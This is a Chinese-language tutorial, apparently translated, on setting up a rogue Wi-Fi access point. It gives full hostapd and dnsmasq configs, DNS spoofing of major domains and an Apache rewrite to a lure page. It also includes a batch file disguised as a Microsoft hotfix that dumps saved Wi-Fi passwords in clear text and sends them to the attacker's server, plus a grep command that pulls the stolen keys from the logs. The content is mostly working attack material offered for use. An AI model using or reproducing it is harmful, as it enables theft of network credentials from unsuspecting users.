在本攻击场景中,我们将使用到alfa无线网卡以及用于网络访问的以太网连接(虚拟机环境下,物理机下无需此配置)。你也可以使用虚拟接口执行这种攻击,但一定要确保使用合适的的接口名。

[姿势] 如何搭建伪AP接入点-RadeBit瑞安全

所用工具

hostapd(或airbase-ng)dnsmasq(或isc-dhcp-server)Apache2Nano或Vi文本编辑器grep

为了攻击环境设置更方便快捷,我就直接使用相对趁手的非括号内的工具了,当然你也可以选择对自己方便的工具。

新手指南 – 设置伪AP接入点

Hostapd

可以建立一个开放式(不加密)的,WPA2 personal或WPA2 enterprise的无线网络

dnsmasq

轻量级DNS / DHCP服务器,用于解析机器间的dns请求,同时也可以作为DHCP服务器为客户端分配IP地址

Apache

虽说其仅仅只是作为一个供客户端访问的Web服务,在攻击中Apache以及Mysql都不是那么重要,然而使用Apache可以让你的Web服务以及伪无线热点更加丰富多彩。尽管根据攻击场景的不同,会有一些其他更先进的技术,但是只要你是想设置一个伪无线热点,那么hostapd以及dnsmasq则是不可或缺的。这里的先进技术则是指的Apache的产品特性以及其灵活性。

举例:

比如说你勾引用户连接上你架设的无线热点,单纯的只是想嗅探或者重定向流量,那么你就不需要使用到Apache。如果你需要响应基于用户发起的请求,想通过某些技巧获得更多的敏感信息,这时Apache就得登场了。
注意:所有命令都以root身份执行,如果你是非root用户(标准用户)记得使用sudo命令

安装:

确保安装最新版本的工具:

apt update
apt install hostapd dnsmasq apache2

接着创建一个用于保存所有配置文件的目录

cd ~/Desktop
mkdir fakeap/

配置hostapd:

创建一个空白文档用以写入配置文件,打开终端然后创建hostapd配置文件

nano hostapd.conf
interface=<Your Fake AP interface>
driver=nl80211
ssid=<Desired AP Name>
hw_mode=g
channel=<Target AP Channel number>
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

保存并退出文档,每次执行攻击前都进行相应的修改
Channel选项中,如果数字填写不当很容易出问题

配置dnsmasq:

nano dnsmasq.conf
interface=<Fake AP Interface name>         # wlan0 with hostapd, at0 with airbase-ng
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

确保在dnsmasq.conf文件中定义接口名没有错

参数分解:

dhcp-range=10.0.0.10,10.0.0.250,12h:          客户端IP地址范围从 10.0.0.1010.0.0.250, 网络子网掩码为 255.255.255.0 默认租约时间为 12小时.
dhcp-option=3,10.0.0.1:                       3 为默认网关代码,随后是IP地址 i.e. 10.0.0.1
dhcp-option=6,10.0.0.1:                       6 为DNS服务器随后是IP地址

这就是所有需要配置的信息了,简单吗?
接下来就运行服务,启动我们的伪无线热点吧!

Step 1:启动伪AP

首先结束掉可能会影响我们实验的运行进程

killall network-manager dnsmasq wpa_supplicant dhcpd

使用之前的配置文件启动hostapd
语法:hostapd /path/to/configuration/file.conf

cd ~/Desktop/fakeap/
hostapd hostapd.conf

成功启动hostapd,之后我们需要运行DHCP服务用以给客户端分配IP地址

Step 2:启动dhcp服务器

在调试模式下使用配置文件运行dnsmasq
语法:dnsmasq -C /path/to/configuration/file.conf -d

dnsmasq - C dnsmasq .conf - d

可选配置:

你可以为dnsmasq创建一个可选的fakehosts.conf文件,以便将目标网站流量重定向到你所需的IP地址

vi fakehosts .conf
10.0.0.1    apple.com
10.0.0.1    google.com
10.0.0.1    android.clients.google.com
10.0.0.1    microsoft.com
10.0.0.1    android.com
10.0.0.1    apple.com
10.0.0.1    google.com
10.0.0.1    android.clients.google.com
10.0.0.1    microsoft.com
10.0.0.1    android.com

只需给该文件加上-H参数传递给dnsmasq,之后这些站点的流量将得到控制。如果你只是希望针对某个网站或者特定客户端,可以早-H参数后面加上fakehosts.conf进行dns欺骗

dnsmasq -C dnsmasq.conf -H fakehosts.conf -d

Step 3:Apache2 webserver配置

Apache的Rewrite引擎允许我们处理Web请求,利用该技术我们可以玩出很多花样。无论是Android,iOS,Windows还是Mac,都可以通过apache websever定制针对不同类型设备的攻击,甚至可以精确到特定的操作系统版本。
比如说针对iOS 9.x客户端的攻击向量就与针对iOS 10客户端的攻击向量不同。
由于Windows机器的广泛使用,这里我们就以Windows机器为目标进行演示。
打开apache默认配置文件修改rewrite函数,这会将几乎所有URL重定向回我们架设的伪AP记录。
打开apache的默认配置文件

nano /etc/apache2/sites-enabled/000-default

在文件</ directory>标签之间的–> add后新开一行将/Fixit目录设置为例外(区分大小写)

<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all

--> add    RewriteEngine On
--> add       RewriteCond  %{REQUEST_URI}  !^/Fixit
--> add          RewriteRule ^.*$ /Fixit/

</Directory>

利用社会工程学技巧,同时设计网页引诱用户下载并执行payload。你需要将index.html文件放置到/var/www/html/Fixit/

启用mod_rewrite模块:

a2enmod rewrite

您必须重新启动apache2才能更新配置

service apache2 restart

Step 4:DNS欺骗

运行dnsspoof即可将所有HTTP(非HTTPS)请求重定向到我们的apache服务器,并且用户不会访问到互联网(IP转发为禁用状态)
如果你攻击接入互联网的域,则该方法没有什么用处。这种情况就使用dnsmasq结合上面介绍的fakehosts.conf文件进行攻击。
由于我们没有给用户提供互联网访问权限,所以直接运行:

dnsspoof -i wlan0       #wlan0 is interface hostapd is operating on

Step 5:获取密钥

运行Apache的access.log,并通过grep转发管道内容
该正则表达式将解析我们传入的20字符的SSID/name,AP身份验证类型以及8~64字符WLAN密钥

tail -F /var/log/apache2/access.log | grep -E -o "<name>.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</name>"|"<keyMaterial>..?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</keyMaterial>"|"<authentication>.?.?.?.?.?.?.?.?.?.?.?</authentication>" | uniq

命令分解:

tail -F <logfile>:    Tail -F参数将读取access.log文件末尾10行内容,等待并显示新增内容.

输出将实时传递给grep

grep:

-E :       用于解析PATTERN这个正则表达式扩展
-o :       仅打印匹配行中的匹配内容(非空), 输出单独成行
uniq:      移除重复条目

Step 6:封装

在/var/www/下建立一个名为Fixit的目录,注意区分大小写

mkdir /var/www/Fixit

Step 7:秘密武器

Apache中的index.html下载链接指向我的自定义文件。比如Microsoft-Windows-Hotfix.bat,这个批处理文件并不复杂,已过杀毒软件且不受防火墙影响。只要浏览器能正常工作,那么该文件就能工作

@echo off
SET mypath=%~dp0
netsh wlan export profile > nul
netsh wlan export profile key=clear > nul
setlocal enableextensions enabledelayedexpansion
set /a counter=0
set filecontent=
for %%b in (*.xml) do (
set /a counter=!counter! + 1
:: echo %%b
for /f "delims=" %%a in ('type "%mypath%%%b"') do (
set filecontent=!filecontent!%%a
)
)
echo !filecontent! > %filename%data.txt
@rem The next line is platform specific. Sometimes in a diff folder
"c:Program FilesInternet Exploreriexplore.exe" microsoftfix.com/"!filecontent!"

用户一旦执行该恶意Wi-Fi密钥嗅探器,它将提取并解码WLAN配置文件。在用户设备中打开浏览器,然后指向microsoftfix.com(我们搭建的服务器)且URL中包含了之前收获的密钥,内容将存储在我们的apache日志(/var/logs/apache2/access.log)
我选择使用URL,因为这将数据传输到服务器上最安全的方法。在大多数机器上的防火墙可能阻止FTP传输,但是由用户自主点击下载的文件则不会触发杀毒软件保护。
你所需要做的便是过滤验证类型以及重要的密钥(Wi-Fi密钥)数据,在步骤5我们就使用tail以及grep命令进行过滤了。

<name>rootsh3ll</name>
<authentication>WPA2PSK</authentication>
<keyMaterial>iamrootsh3ll</keyMaterial>

结语

本文所述其实只是一个大略,更多的细节以及技巧都在作者自己所著的电子书籍中。
译者在这里并不推荐各位读者购买:

其一该书没有中译版本,如果自己就有阅读英文文献的能力,多逛逛相关社区几乎就能了解其中的许多奇淫巧计。
其二外国的月亮不一定就比国内的更圆,技术没国界这话真的没错,国内玩得有时候比国外大兄弟还要更6些。